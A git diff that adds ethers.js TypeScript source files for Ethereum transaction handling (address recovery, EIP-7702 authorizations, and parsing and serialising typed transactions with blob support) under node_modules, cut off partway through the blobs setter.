b/node_modules/ethers/src.ts/transaction/address.ts new file mode 100644 index 000000000000..a5cf92bf977d --- /dev/null +++ b/node_modules/ethers/src.ts/transaction/address.ts @@ -0,0 +1,28 @@ +import { getAddress } from "../address/index.js"; +import { keccak256, SigningKey } from "../crypto/index.js"; + +import type { SignatureLike } from "../crypto/index.js"; +import type { BytesLike } from "../utils/index.js"; + +/** + * Returns the address for the %%key%%. + * + * The key may be any standard form of public key or a private key. + */ +export function computeAddress(key: string | SigningKey): string { + let pubkey: string; + if (typeof(key) === "string") { + pubkey = SigningKey.computePublicKey(key, false); + } else { + pubkey = key.publicKey; + } + return getAddress(keccak256("0x" + pubkey.substring(4)).substring(26)); +} + +/** + * Returns the recovered address for the private key that was + * used to sign %%digest%% that resulted in %%signature%%. + */ +export function recoverAddress(digest: BytesLike, signature: SignatureLike): string { + return computeAddress(SigningKey.recoverPublicKey(digest, signature)); +} diff --git a/node_modules/ethers/src.ts/transaction/authorization.ts b/node_modules/ethers/src.ts/transaction/authorization.ts new file mode 100644 index 000000000000..ea323418f5a1 --- /dev/null +++ b/node_modules/ethers/src.ts/transaction/authorization.ts @@ -0,0 +1,14 @@ +import { getAddress } from "../address/index.js"; +import { Signature } from "../crypto/index.js"; +import { getBigInt } from "../utils/index.js"; + +import type { Authorization, AuthorizationLike } from "./index.js"; + +export function authorizationify(auth: AuthorizationLike): Authorization { + return { + address: getAddress(auth.address), + nonce: getBigInt((auth.nonce != null) ? auth.nonce: 0), + chainId: getBigInt((auth.chainId != null)? auth.chainId: 0), + signature: Signature.from(auth.signature) + }; +} diff --git a/node_modules/ethers/src.ts/transaction/index.ts b/node_modules/ethers/src.ts/transaction/index.ts new file mode 100644 index 000000000000..1194c7137077 --- /dev/null +++ b/node_modules/ethers/src.ts/transaction/index.ts @@ -0,0 +1,51 @@ +/** + * Each state-changing operation on Ethereum requires a transaction. + * + * @_section api/transaction:Transactions [about-transactions] + */ + +null; + +import type { BigNumberish } from "../utils/maths.js"; +import type { Signature, SignatureLike } from "../crypto/index.js"; + +/** + * A single [[AccessList]] entry of storage keys (slots) for an address. + */ +export type AccessListEntry = { address: string, storageKeys: Array }; + +/** + * An ordered collection of [[AccessList]] entries. + */ +export type AccessList = Array; + +/** + * Any ethers-supported access list structure. + */ +export type AccessListish = AccessList | + Array<[ string, Array ]> | + Record>; + +// Keep here? +export interface Authorization { + address: string; + nonce: bigint; + chainId: bigint; + signature: Signature; +} + +export type AuthorizationLike = { + address: string; + nonce: BigNumberish; + chainId: BigNumberish; + signature: SignatureLike +}; + +export { accessListify } from "./accesslist.js"; +export { authorizationify } from "./authorization.js"; +export { computeAddress, recoverAddress } from "./address.js"; +export { Transaction } from "./transaction.js"; + +export type { + Blob, BlobLike, KzgLibrary, KzgLibraryLike, TransactionLike +} from "./transaction.js"; diff --git a/node_modules/ethers/src.ts/transaction/transaction.ts b/node_modules/ethers/src.ts/transaction/transaction.ts new file mode 100644 index 000000000000..4a54beb23870 --- /dev/null +++ b/node_modules/ethers/src.ts/transaction/transaction.ts @@ -0,0 +1,1379 @@ + +import { getAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/addresses.js"; +import { + keccak256, sha256, Signature, SigningKey +} from "../crypto/index.js"; +import { + concat, decodeRlp, encodeRlp, getBytes, getBigInt, getNumber, hexlify, + assert, assertArgument, isBytesLike, isHexString, toBeArray, zeroPadValue +} from "../utils/index.js"; + +import { accessListify } from "./accesslist.js"; +import { authorizationify } from "./authorization.js"; +import { recoverAddress } from "./address.js"; + +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { SignatureLike } from "../crypto/index.js"; + +import type { + AccessList, AccessListish, Authorization, AuthorizationLike +} from "./index.js"; + + +const BN_0 = BigInt(0); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27) +const BN_28 = BigInt(28) +const BN_35 = BigInt(35); +const BN_MAX_UINT = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + +const BLOB_SIZE = 4096 * 32; + +// The BLS Modulo; each field within a BLOb must be less than this +//const BLOB_BLS_MODULO = BigInt("0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001"); + +/** + * A **TransactionLike** is an object which is appropriate as a loose + * input for many operations which will populate missing properties of + * a transaction. + */ +export interface TransactionLike { + /** + * The type. + */ + type?: null | number; + + /** + * The recipient address or ``null`` for an ``init`` transaction. + */ + to?: null | A; + + /** + * The sender. + */ + from?: null | A; + + /** + * The nonce. + */ + nonce?: null | number; + + /** + * The maximum amount of gas that can be used. + */ + gasLimit?: null | BigNumberish; + + /** + * The gas price for legacy and berlin transactions. + */ + gasPrice?: null | BigNumberish; + + /** + * The maximum priority fee per gas for london transactions. + */ + maxPriorityFeePerGas?: null | BigNumberish; + + /** + * The maximum total fee per gas for london transactions. + */ + maxFeePerGas?: null | BigNumberish; + + /** + * The data. + */ + data?: null | string; + + /** + * The value (in wei) to send. + */ + value?: null | BigNumberish; + + /** + * The chain ID the transaction is valid on. + */ + chainId?: null | BigNumberish; + + /** + * The transaction hash. + */ + hash?: null | string; + + /** + * The signature provided by the sender. + */ + signature?: null | SignatureLike; + + /** + * The access list for berlin and london transactions. + */ + accessList?: null | AccessListish; + + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + + /** + * The versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array; + + /** + * The blobs (if any) attached to this transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array + + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; +} + +/** + * A full-valid BLOb object for [[link-eip-4844]] transactions. + * + * The commitment and proof should have been computed using a + * KZG library. + */ +export interface Blob { + data: string; + proof: string; + commitment: string; +} + +/** + * A BLOb object that can be passed for [[link-eip-4844]] + * transactions. + * + * It may have had its commitment and proof already provided + * or rely on an attached [[KzgLibrary]] to compute them. + */ +export type BlobLike = BytesLike | { + data: BytesLike; + proof: BytesLike; + commitment: BytesLike; +}; + +/** + * A KZG Library with the necessary functions to compute + * BLOb commitments and proofs. + */ +export interface KzgLibrary { + blobToKzgCommitment: (blob: Uint8Array) => Uint8Array; + computeBlobKzgProof: (blob: Uint8Array, commitment: Uint8Array) => Uint8Array; +} + +/** + * A KZG Library with any of the various API configurations. + * As the library is still experimental and the API is not + * stable, depending on the version used the method names and + * signatures are still in flux. + * + * This allows any of the versions to be passed into Transaction + * while providing a stable external API. + */ +export type KzgLibraryLike = KzgLibrary | { + // kzg-wasm >= 0.5.0 + blobToKZGCommitment: (blob: string) => string; + computeBlobKZGProof: (blob: string, commitment: string) => string; +} | { + // micro-ecc-signer + blobToKzgCommitment: (blob: string) => string | Uint8Array; + computeBlobProof: (blob: string, commitment: string) => string | Uint8Array; +}; + +function getKzgLibrary(kzg: KzgLibraryLike): KzgLibrary { + + const blobToKzgCommitment = (blob: Uint8Array) => { + + if ("computeBlobProof" in kzg) { + // micro-ecc-signer; check for computeBlobProof since this API + // expects a string while the kzg-wasm below expects a Unit8Array + + if ("blobToKzgCommitment" in kzg && typeof(kzg.blobToKzgCommitment) === "function") { + return getBytes(kzg.blobToKzgCommitment(hexlify(blob))) + } + + } else if ("blobToKzgCommitment" in kzg && typeof(kzg.blobToKzgCommitment) === "function") { + // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array + + return getBytes(kzg.blobToKzgCommitment(blob)); + } + + // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string + if ("blobToKZGCommitment" in kzg && typeof(kzg.blobToKZGCommitment) === "function") { + return getBytes(kzg.blobToKZGCommitment(hexlify(blob))); + } + + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + + const computeBlobKzgProof = (blob: Uint8Array, commitment: Uint8Array) => { + + // micro-ecc-signer + if ("computeBlobProof" in kzg && typeof(kzg.computeBlobProof) === "function") { + return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment))) + } + + // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array + if ("computeBlobKzgProof" in kzg && typeof(kzg.computeBlobKzgProof) === "function") { + return kzg.computeBlobKzgProof(blob, commitment); + } + + // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string + if ("computeBlobKZGProof" in kzg && typeof(kzg.computeBlobKZGProof) === "function") { + return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment))); + } + + assertArgument(false, "unsupported KZG library", "kzg", kzg); + }; + + return { blobToKzgCommitment, computeBlobKzgProof }; +} + +function getVersionedHash(version: number, hash: BytesLike): string { + let versioned = version.toString(16); + while (versioned.length < 2) { versioned = "0" + versioned; } + versioned += sha256(hash).substring(4); + return "0x" + versioned; +} + +function handleAddress(value: string): null | string { + if (value === "0x") { return null; } + return getAddress(value); +} + +function handleAccessList(value: any, param: string): AccessList { + try { + return accessListify(value); + } catch (error: any) { + assertArgument(false, error.message, param, value); + } +} + +function handleAuthorizationList(value: any, param: string): Array { + try { + if (!Array.isArray(value)) { throw new Error("authorizationList: invalid array"); } + const result: Array = [ ]; + for (let i = 0; i < value.length; i++) { + const auth: Array = value[i]; + if (!Array.isArray(auth)) { throw new Error(`authorization[${ i }]: invalid array`); } + if (auth.length !== 6) { throw new Error(`authorization[${ i }]: wrong length`); } + if (!auth[1]) { throw new Error(`authorization[${ i }]: null address`); } + result.push({ + address: handleAddress(auth[1]), + nonce: handleUint(auth[2], "nonce"), + chainId: handleUint(auth[0], "chainId"), + signature: Signature.from({ + yParity: <0 | 1>handleNumber(auth[3], "yParity"), + r: zeroPadValue(auth[4], 32), + s: zeroPadValue(auth[5], 32) + }) + }); + } + return result; + } catch (error: any) { + assertArgument(false, error.message, param, value); + } +} + +function handleNumber(_value: string, param: string): number { + if (_value === "0x") { return 0; } + return getNumber(_value, param); +} + +function handleUint(_value: string, param: string): bigint { + if (_value === "0x") { return BN_0; } + const value = getBigInt(_value, param); + assertArgument(value <= BN_MAX_UINT, "value exceeds uint size", param, value); + return value; +} + +function formatNumber(_value: BigNumberish, name: string): Uint8Array { + const value = getBigInt(_value, "value"); + const result = toBeArray(value); + assertArgument(result.length <= 32, `value too large`, `tx.${ name }`, value); + return result; +} + +function formatAccessList(value: AccessListish): Array<[ string, Array ]> { + return accessListify(value).map((set) => [ set.address, set.storageKeys ]); +} + +function formatAuthorizationList(value: Array): Array> { + return value.map((a) => { + return [ + formatNumber(a.chainId, "chainId"), + a.address, + formatNumber(a.nonce, "nonce"), + formatNumber(a.signature.yParity, "yParity"), + toBeArray(a.signature.r), + toBeArray(a.signature.s) + ]; + }); +} + +function formatHashes(value: Array, param: string): Array { + assertArgument(Array.isArray(value), `invalid ${ param }`, "value", value); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid ${ param } hash", `value[${ i }]`, value[i]); + } + return value; +} + +function _parseLegacy(data: Uint8Array): TransactionLike { + const fields: any = decodeRlp(data); + + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), + "invalid field count for legacy transaction", "data", data); + + const tx: TransactionLike = { + type: 0, + nonce: handleNumber(fields[0], "nonce"), + gasPrice: handleUint(fields[1], "gasPrice"), + gasLimit: handleUint(fields[2], "gasLimit"), + to: handleAddress(fields[3]), + value: handleUint(fields[4], "value"), + data: hexlify(fields[5]), + chainId: BN_0 + }; + + // Legacy unsigned transaction + if (fields.length === 6) { return tx; } + + const v = handleUint(fields[6], "v"); + const r = handleUint(fields[7], "r"); + const s = handleUint(fields[8], "s"); + + if (r === BN_0 && s === BN_0) { + // EIP-155 unsigned transaction + tx.chainId = v; + + } else { + + // Compute the EIP-155 chain ID (or 0 for legacy) + let chainId = (v - BN_35) / BN_2; + if (chainId < BN_0) { chainId = BN_0; } + tx.chainId = chainId + + // Signed Legacy Transaction + assertArgument(chainId !== BN_0 || (v === BN_27 || v === BN_28), "non-canonical legacy v", "v", fields[6]); + + tx.signature = Signature.from({ + r: zeroPadValue(fields[7], 32), + s: zeroPadValue(fields[8], 32), + v + }); + + //tx.hash = keccak256(data); + } + + return tx; +} + +function _serializeLegacy(tx: Transaction, sig: null | Signature): string { + const fields: Array = [ + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + ]; + + let chainId = BN_0; + if (tx.chainId != BN_0) { + // A chainId was provided; if non-zero we'll use EIP-155 + chainId = getBigInt(tx.chainId, "tx.chainId"); + + // We have a chainId in the tx and an EIP-155 v in the signature, + // make sure they agree with each other + assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, + "tx.chainId/sig.v mismatch", "sig", sig); + + } else if (tx.signature) { + // No explicit chainId, but EIP-155 have a derived implicit chainId + const legacy = tx.signature.legacyChainId; + if (legacy != null) { chainId = legacy; } + } + + // Requesting an unsigned transaction + if (!sig) { + // We have an EIP-155 transaction (chainId was specified and non-zero) + if (chainId !== BN_0) { + fields.push(toBeArray(chainId)); + fields.push("0x"); + fields.push("0x"); + } + + return encodeRlp(fields); + } + + // @TODO: We should probably check that tx.signature, chainId, and sig + // match but that logic could break existing code, so schedule + // this for the next major bump. + + // Compute the EIP-155 v + let v = BigInt(27 + sig.yParity); + if (chainId !== BN_0) { + v = Signature.getChainIdV(chainId, sig.v); + } else if (BigInt(sig.v) !== v) { + assertArgument(false, "tx.chainId/sig.v mismatch", "sig", sig); + } + + // Add the signature + fields.push(toBeArray(v)); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + + return encodeRlp(fields); +} + +function _parseEipSignature(tx: TransactionLike, fields: Array): void { + let yParity: number; + try { + yParity = handleNumber(fields[0], "yParity"); + if (yParity !== 0 && yParity !== 1) { throw new Error("bad yParity"); } + } catch (error) { + assertArgument(false, "invalid yParity", "yParity", fields[0]); + } + + const r = zeroPadValue(fields[1], 32); + const s = zeroPadValue(fields[2], 32); + + const signature = Signature.from({ r, s, yParity }); + tx.signature = signature; +} + +function _parseEip1559(data: Uint8Array): TransactionLike { + const fields: any = decodeRlp(getBytes(data).slice(1)); + + assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), + "invalid field count for transaction type: 2", "data", hexlify(data)); + + const tx: TransactionLike = { + type: 2, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + }; + + // Unsigned EIP-1559 Transaction + if (fields.length === 9) { return tx; } + + //tx.hash = keccak256(data); + + _parseEipSignature(tx, fields.slice(9)); + + return tx; +} + +function _serializeEip1559(tx: Transaction, sig: null | Signature): string { + const fields: Array = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || [ ]) + ]; + + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + + return concat([ "0x02", encodeRlp(fields)]); +} + +function _parseEip2930(data: Uint8Array): TransactionLike { + const fields: any = decodeRlp(getBytes(data).slice(1)); + + assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), + "invalid field count for transaction type: 1", "data", hexlify(data)); + + const tx: TransactionLike = { + type: 1, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + gasPrice: handleUint(fields[2], "gasPrice"), + gasLimit: handleUint(fields[3], "gasLimit"), + to: handleAddress(fields[4]), + value: handleUint(fields[5], "value"), + data: hexlify(fields[6]), + accessList: handleAccessList(fields[7], "accessList") + }; + + // Unsigned EIP-2930 Transaction + if (fields.length === 8) { return tx; } + + //tx.hash = keccak256(data); + + _parseEipSignature(tx, fields.slice(8)); + + return tx; +} + +function _serializeEip2930(tx: Transaction, sig: null | Signature): string { + const fields: any = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || [ ]) + ]; + + if (sig) { + fields.push(formatNumber(sig.yParity, "recoveryParam")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + + return concat([ "0x01", encodeRlp(fields)]); +} + +function _parseEip4844(data: Uint8Array): TransactionLike { + let fields: any = decodeRlp(getBytes(data).slice(1)); + + let typeName = "3"; + + let blobs: null | Array = null; + + // Parse the network format + if (fields.length === 4 && Array.isArray(fields[0])) { + typeName = "3 (network format)"; + const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3]; + assertArgument(Array.isArray(fBlobs), "invalid network format: blobs not an array", "fields[1]", fBlobs); + assertArgument(Array.isArray(fCommits), "invalid network format: commitments not an array", "fields[2]", fCommits); + assertArgument(Array.isArray(fProofs), "invalid network format: proofs not an array", "fields[3]", fProofs); + assertArgument(fBlobs.length === fCommits.length, "invalid network format: blobs/commitments length mismatch", "fields", fields); + assertArgument(fBlobs.length === fProofs.length, "invalid network format: blobs/proofs length mismatch", "fields", fields); + + blobs = [ ]; + for (let i = 0; i < fields[1].length; i++) { + blobs.push({ + data: fBlobs[i], + commitment: fCommits[i], + proof: fProofs[i], + }); + } + + fields = fields[0]; + } + + assertArgument(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), + `invalid field count for transaction type: ${ typeName }`, "data", hexlify(data)); + + const tx: TransactionLike = { + type: 3, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + maxFeePerBlobGas: handleUint(fields[9], "maxFeePerBlobGas"), + blobVersionedHashes: fields[10] + }; + + if (blobs) { tx.blobs = blobs; } + + assertArgument(tx.to != null, `invalid address for transaction type: ${ typeName }`, "data", data); + + assertArgument(Array.isArray(tx.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", data); + for (let i = 0; i < tx.blobVersionedHashes.length; i++) { + assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${ i }: must be length 32`, "data", data); + } + + // Unsigned EIP-4844 Transaction + if (fields.length === 11) { return tx; } + + // @TODO: Do we need to do this? This is only called internally + // and used to verify hashes; it might save time to not do this + //tx.hash = keccak256(concat([ "0x03", encodeRlp(fields) ])); + + _parseEipSignature(tx, fields.slice(11)); + + return tx; +} + +function _serializeEip4844(tx: Transaction, sig: null | Signature, blobs: null | Array): string { + const fields: Array = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || ZeroAddress), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || [ ]), + formatNumber(tx.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), + formatHashes(tx.blobVersionedHashes || [ ], "blobVersionedHashes") + ]; + + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + + // We have blobs; return the network wrapped format + if (blobs) { + return concat([ + "0x03", + encodeRlp([ + fields, + blobs.map((b) => b.data), + blobs.map((b) => b.commitment), + blobs.map((b) => b.proof), + ]) + ]); + } + + } + + return concat([ "0x03", encodeRlp(fields)]); +} + +function _parseEip7702(data: Uint8Array): TransactionLike { + const fields: any = decodeRlp(getBytes(data).slice(1)); + + assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), + "invalid field count for transaction type: 4", "data", hexlify(data)); + + const tx: TransactionLike = { + type: 4, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: hexlify(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + authorizationList: handleAuthorizationList(fields[9], "authorizationList"), + }; + + // Unsigned EIP-7702 Transaction + if (fields.length === 10) { return tx; } + + _parseEipSignature(tx, fields.slice(10)); + + return tx; +} + +function _serializeEip7702(tx: Transaction, sig: null | Signature): string { + const fields: Array = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || [ ]), + formatAuthorizationList(tx.authorizationList || [ ]) + ]; + + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push(toBeArray(sig.r)); + fields.push(toBeArray(sig.s)); + } + + return concat([ "0x04", encodeRlp(fields)]); +} + +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +export class Transaction implements TransactionLike { + #type: null | number; + #to: null | string; + #data: string; + #nonce: number; + #gasLimit: bigint; + #gasPrice: null | bigint; + #maxPriorityFeePerGas: null | bigint; + #maxFeePerGas: null | bigint; + #value: bigint; + #chainId: bigint; + #sig: null | Signature; + #accessList: null | AccessList; + #maxFeePerBlobGas: null | bigint; + #blobVersionedHashes: null | Array; + #kzg: null | KzgLibrary; + #blobs: null | Array; + #auths: null | Array; + + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type(): null | number { return this.#type; } + set type(value: null | number | string) { + switch (value) { + case null: + this.#type = null; + break; + case 0: case "legacy": + this.#type = 0; + break; + case 1: case "berlin": case "eip-2930": + this.#type = 1; + break; + case 2: case "london": case "eip-1559": + this.#type = 2; + break; + case 3: case "cancun": case "eip-4844": + this.#type = 3; + break; + case 4: case "pectra": case "eip-7702": + this.#type = 4; + break; + default: + assertArgument(false, "unsupported transaction type", "type", value); + } + } + + /** + * The name of the transaction type. + */ + get typeName(): null | string { + switch (this.type) { + case 0: return "legacy"; + case 1: return "eip-2930"; + case 2: return "eip-1559"; + case 3: return "eip-4844"; + case 4: return "eip-7702"; + } + + return null; + } + + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to(): null | string { + const value = this.#to; + if (value == null && this.type === 3) { return ZeroAddress; } + return value; + } + set to(value: null | string) { + this.#to = (value == null) ? null: getAddress(value); + } + + /** + * The transaction nonce. + */ + get nonce(): number { return this.#nonce; } + set nonce(value: BigNumberish) { this.#nonce = getNumber(value, "value"); } + + /** + * The gas limit. + */ + get gasLimit(): bigint { return this.#gasLimit; } + set gasLimit(value: BigNumberish) { this.#gasLimit = getBigInt(value); } + + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice(): null | bigint { + const value = this.#gasPrice; + if (value == null && (this.type === 0 || this.type === 1)) { return BN_0; } + return value; + } + set gasPrice(value: null | BigNumberish) { + this.#gasPrice = (value == null) ? null: getBigInt(value, "gasPrice"); + } + + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas(): null | bigint { + const value = this.#maxPriorityFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { return BN_0; } + return null; + } + return value; + } + set maxPriorityFeePerGas(value: null | BigNumberish) { + this.#maxPriorityFeePerGas = (value == null) ? null: getBigInt(value, "maxPriorityFeePerGas"); + } + + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas(): null | bigint { + const value = this.#maxFeePerGas; + if (value == null) { + if (this.type === 2 || this.type === 3) { return BN_0; } + return null; + } + return value; + } + set maxFeePerGas(value: null | BigNumberish) { + this.#maxFeePerGas = (value == null) ? null: getBigInt(value, "maxFeePerGas"); + } + + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data(): string { return this.#data; } + set data(value: BytesLike) { this.#data = hexlify(value); } + + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value(): bigint { return this.#value; } + set value(value: BigNumberish) { + this.#value = getBigInt(value, "value"); + } + + /** + * The chain ID this transaction is valid on. + */ + get chainId(): bigint { return this.#chainId; } + set chainId(value: BigNumberish) { this.#chainId = getBigInt(value); } + + /** + * If signed, the signature for this transaction. + */ + get signature(): null | Signature { return this.#sig || null; } + set signature(value: null | SignatureLike) { + this.#sig = (value == null) ? null: Signature.from(value); + } + + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList(): null | AccessList { + const value = this.#accessList || null; + if (value == null) { + if (this.type === 1 || this.type === 2 || this.type === 3) { + // @TODO: in v7, this should assign the value or become + // a live object itself, otherwise mutation is inconsistent + return [ ]; + } + return null; + } + return value; + } + set accessList(value: null | AccessListish) { + this.#accessList = (value == null) ? null: accessListify(value); + } + + get authorizationList(): null | Array { + const value = this.#auths || null; + if (value == null) { + if (this.type === 4) { + // @TODO: in v7, this should become a live object itself, + // otherwise mutation is inconsistent + return [ ]; + } + } + return value; + } + set authorizationList(auths: null | Array) { + this.#auths = (auths == null) ? null: auths.map((a) => + authorizationify(a)); + } + + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas(): null | bigint { + const value = this.#maxFeePerBlobGas; + if (value == null && this.type === 3) { return BN_0; } + return value; + } + set maxFeePerBlobGas(value: null | BigNumberish) { + this.#maxFeePerBlobGas = (value == null) ? null: getBigInt(value, "maxFeePerBlobGas"); + } + + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes(): null | Array { + // @TODO: Mutation is inconsistent; if unset, the returned value + // cannot mutate the object, if set it can + let value = this.#blobVersionedHashes; + if (value == null && this.type === 3) { return [ ]; } + return value; + } + set blobVersionedHashes(value: null | Array) { + if (value != null) { + assertArgument(Array.isArray(value), "blobVersionedHashes must be an Array", "value", value); + value = value.slice(); + for (let i = 0; i < value.length; i++) { + assertArgument(isHexString(value[i], 32), "invalid blobVersionedHash", `value[${ i }]`, value[i]); + } + } + this.#blobVersionedHashes = value; + } + + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs(): null | Array { + if (this.#blobs == null) { return null; } + return this.#blobs.map((b) => Object.assign({ }, b)); + } + set blobs(_blobs: null | Array) { + if (_blobs == null) { + this.#blobs = null; + return; + } + + const blobs: Array = [ ]; + const versionedHashes: Array = [ ]; + for (let i = 0; i < _blobs.length; i++) { + const blob = _blobs[i]; + + if (isBytesLike(blob)) { + assert(this.#kzg, "adding a raw blob requires a KZG library", "UNSUPPORTED_OPERATION", { + operation: "set blobs()" + }); + + let data = getBytes(blob); + assertArgument(data.length <= BLOB_SIZE, "blob is too large", `blobs[${ i }]`, blob); + + // Pad blob if necessary + if (data.length !== BLOB_SIZE) { + const padded = new Uint8Array(BLOB_SIZE); + padded.set(data); + data = padded; + } + + const commit = this.#kzg.blobToKzgCommitment(data); + const proof = hexlify(this.#kzg.computeBlobKzgProof(data, commit)); + + blobs.push({ + data: hexlify(data), + commitment: hexlify(commit), + proof + }); + versionedHashes.push(getVersionedHash(1, commit)); + + } else { + const commit = hexlify(blob.commitment); + blobs.push({ + data: hexlify(blob.data), + commitment: commit, + proof: hexlify(blob.proof) + }); + versionedHashes.push(getVersionedHash(1, commit)); + } + } + + this.#blobs = blobs; + 